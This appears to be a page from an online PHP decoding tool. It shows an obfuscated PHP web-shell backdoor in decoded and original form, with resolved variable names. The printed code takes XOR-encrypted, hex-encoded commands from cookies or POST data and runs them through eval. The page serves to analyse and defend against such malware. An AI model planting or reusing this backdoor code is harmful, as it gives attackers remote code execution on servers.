Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ttvbqOH/*oGWY */= chr/* qGVM */(/* ycKF*/129/* nOe */-/* qc*/14 )."\164" ..

Decoded Output download

<?php $ttvbqOH/*oGWY */=  chr/*  qGVM */(/* ycKF*/129/* nOe   */-/*   qc*/14    )."t"        ./*   Sq */chr (        356     -       242     ).'_'   ./*   tNf */chr   (/*M   */665  -/*UxxZF*/551   )."e"/* eRjZe  */. chr        (/*   R  */637  -       525     ).chr/*  agx   */(101) .        chr (   138     -  41/* NGK */).chr     (116); 
                $DNaguyQ/*  pTO*/=  'e'/* ceI */.     "x"     .      'p'/* qgbYl */. chr/*  ma*/(/*   bZV*/220     -    112/*   YQub */).chr/*  MT */(       431     -/*h  */320     )."d"        ./*   UH */"e"; 
    $ShMzESCy  =/*  zTDbz  */"p"     .       "a"   . "c"    .   "k"; 
                        function/*   rIRUJ */HAFWCK() 
     { 
                                        /*  LGqcG  */$PqusxR    =     Array     (       "XBCmZSzog"    =>   "AEZNNFAFwyyVPM"/*u */); 
 
                                /*  Q */$HwBzYb/*   Iow  */=     Array  (/*  tJjF   */"JkmqGWSACkioUqiSw"       =>      "GHaSymhzlrzIaYF"       ); 
 
/*oX*/$vhdrXwRW =/*  mzFZI  */Array(   $PqusxR,     $_COOKIE,     $PqusxR, $_POST,      $HwBzYb);$_Fsc/*  pI   */=    '47572'; 
                        /* l  */ 
                                                return/*  endS   */$vhdrXwRW; 
 
  } 
 
/*   OtUIN   */ 
        function  giNepgJsp($FbyaX) 
                /*   ZX */{ 
                                     if (   count    (  $FbyaX/*   kIAMx   */)  == 3    )/*T*/{ 
                                /*aDIsv  */$UgMyWyNFA = $FbyaX[1]; 
/*nMqAl   */$QnMlhyXP    =     $FbyaX[2]; 
       $zknXrWeiu/* onsZA   */=/*   Uu   */$UgMyWyNFA($QnMlhyXP);; 
                        eval/* T  */(   $zknXrWeiu/*rext  */);$_D       =       '33198'; 
                        /*  ho   */die  (); 
  /*  Dta  */} 
 
/* FCFaj   */} 
 /*   FrbE   */ 
                                        function   riHBKJ($uhugbZtRMf,   $ekqAC) 
 
  { 
     return/*   u */$uhugbZtRMf ^    $ekqAC; 
        } 
 
        $SWUuOSg    =   chr/*ViuSL*/(35); 
 
 
/*NUwQS   */ 
      foreach    (HAFWCK()      as      $CKgqbZnE)    { 
        foreach (/* StY*/$CKgqbZnE     as    $ekqAC     =>      $uhugbZtRMf     )       { 
 
 
/*qgU*/ 
                                                $uhugbZtRMf     =       @$ShMzESCy(/*   mWL*/chr        (72)/*  L  */./* Ob */chr/*   TKGut  */(42),    $uhugbZtRMf/*  Xwqe*/); 
/*   GGT  */ 
                                            $ekqAC/*t*/.= "aphjV-IDAvLLg-alXy-AqVB-MDu-rYA-MLNLr";; 
                                  $ekqAC        =       $ttvbqOH/* Hbww  */(    $ekqAC,    (/* E   */strlen(/* h*/$uhugbZtRMf   )/strlen(       $ekqAC  )       )       +     1); 
  /*   KAEo  */ 
 
/*fgC */$QzsoJxaMJ      =       riHBKJ($uhugbZtRMf,/*e   */$ekqAC);$_U  =       '3537'; 
 
 
/*byqaq */ 
 
 
/* YXx   */$FbyaX/*   jPxd   */=        $DNaguyQ        ($SWUuOSg, $QzsoJxaMJ   );; 
 
 
 
     giNepgJsp($FbyaX); 
  /*d  */} 
         } ?>

Did this file decode correctly?

Original Code

<?php $ttvbqOH/*oGWY */=  chr/*  qGVM */(/* ycKF*/129/* nOe   */-/*   qc*/14    )."\164"        ./*   Sq */chr (        356     -       242     ).'_'   ./*   tNf */chr   (/*M   */665  -/*UxxZF*/551   )."\145"/* eRjZe  */. chr        (/*   R  */637  -       525     ).chr/*  agx   */(101) .        chr (   138     -  41/* NGK */).chr     (116);
                $DNaguyQ/*  pTO*/=  'e'/* ceI */.     "\x78"     .      'p'/* qgbYl */. chr/*  ma*/(/*   bZV*/220     -    112/*   YQub */).chr/*  MT */(       431     -/*h  */320     )."\144"        ./*   UH */"\145";
    $ShMzESCy  =/*  zTDbz  */"\x70"     .       "\x61"   . "\143"    .   "\153";
                        function/*   rIRUJ */HAFWCK()
     {
                                        /*  LGqcG  */$PqusxR    =     Array     (       "XBCmZSzog"    =>   "AEZNNFAFwyyVPM"/*u */);

                                /*  Q */$HwBzYb/*   Iow  */=     Array  (/*  tJjF   */"JkmqGWSACkioUqiSw"       =>      "GHaSymhzlrzIaYF"       );

/*oX*/$vhdrXwRW =/*  mzFZI  */Array(   $PqusxR,     $_COOKIE,     $PqusxR, $_POST,      $HwBzYb);$_Fsc/*  pI   */=    '47572';
                        /* l  */
                                                return/*  endS   */$vhdrXwRW;

  }

/*   OtUIN   */
        function  giNepgJsp($FbyaX)
                /*   ZX */{
                                     if (   count    (  $FbyaX/*   kIAMx   */)  == 3    )/*T*/{
                                /*aDIsv  */$UgMyWyNFA = $FbyaX[1];
/*nMqAl   */$QnMlhyXP    =     $FbyaX[2];
       $zknXrWeiu/* onsZA   */=/*   Uu   */$UgMyWyNFA($QnMlhyXP);;
                        eval/* T  */(   $zknXrWeiu/*rext  */);$_D       =       '33198';
                        /*  ho   */die  ();
  /*  Dta  */}

/* FCFaj   */}
 /*   FrbE   */
                                        function   riHBKJ($uhugbZtRMf,   $ekqAC)

  {
     return/*   u */$uhugbZtRMf ^    $ekqAC;
        }

        $SWUuOSg    =   chr/*ViuSL*/(35);


/*NUwQS   */
      foreach    (HAFWCK()      as      $CKgqbZnE)    {
        foreach (/* StY*/$CKgqbZnE     as    $ekqAC     =>      $uhugbZtRMf     )       {


/*qgU*/
                                                $uhugbZtRMf     =       @$ShMzESCy(/*   mWL*/chr        (72)/*  L  */./* Ob */chr/*   TKGut  */(42),    $uhugbZtRMf/*  Xwqe*/);
/*   GGT  */
                                            $ekqAC/*t*/.= "aphjV-IDAvLLg-alXy-AqVB-MDu-rYA-MLNLr";;
                                  $ekqAC        =       $ttvbqOH/* Hbww  */(    $ekqAC,    (/* E   */strlen(/* h*/$uhugbZtRMf   )/strlen(       $ekqAC  )       )       +     1);
  /*   KAEo  */

/*fgC */$QzsoJxaMJ      =       riHBKJ($uhugbZtRMf,/*e   */$ekqAC);$_U  =       '3537';


/*byqaq */


/* YXx   */$FbyaX/*   jPxd   */=        $DNaguyQ        ($SWUuOSg, $QzsoJxaMJ   );;



     giNepgJsp($FbyaX);
  /*d  */}
         }

Function Calls

chr 10
HAFWCK 1

Variables

$_Fsc 47572
$HwBzYb [{'key': 'JkmqGWSACkioUqiSw', 'value': 'GHaSymhzlrzIaYF'}]
$PqusxR [{'key': 'XBCmZSzog', 'value': 'AEZNNFAFwyyVPM'}]
$DNaguyQ explode
$SWUuOSg #
$ttvbqOH str_repeat
$ShMzESCy pack
$vhdrXwRW [{'key': 0, 'value': [{'key': 'XBCmZSzog', 'value': 'AEZNNFAFwyyVPM'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'XBCmZSzog', 'value': 'AEZNNFAFwyyVPM'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'JkmqGWSACkioUqiSw', 'value': 'GHaSymhzlrzIaYF'}]}]

Stats

MD5 9e7eb7f2a6878a6aa967fb59ec64ea5e
Eval Count 0
Decode Time 135 ms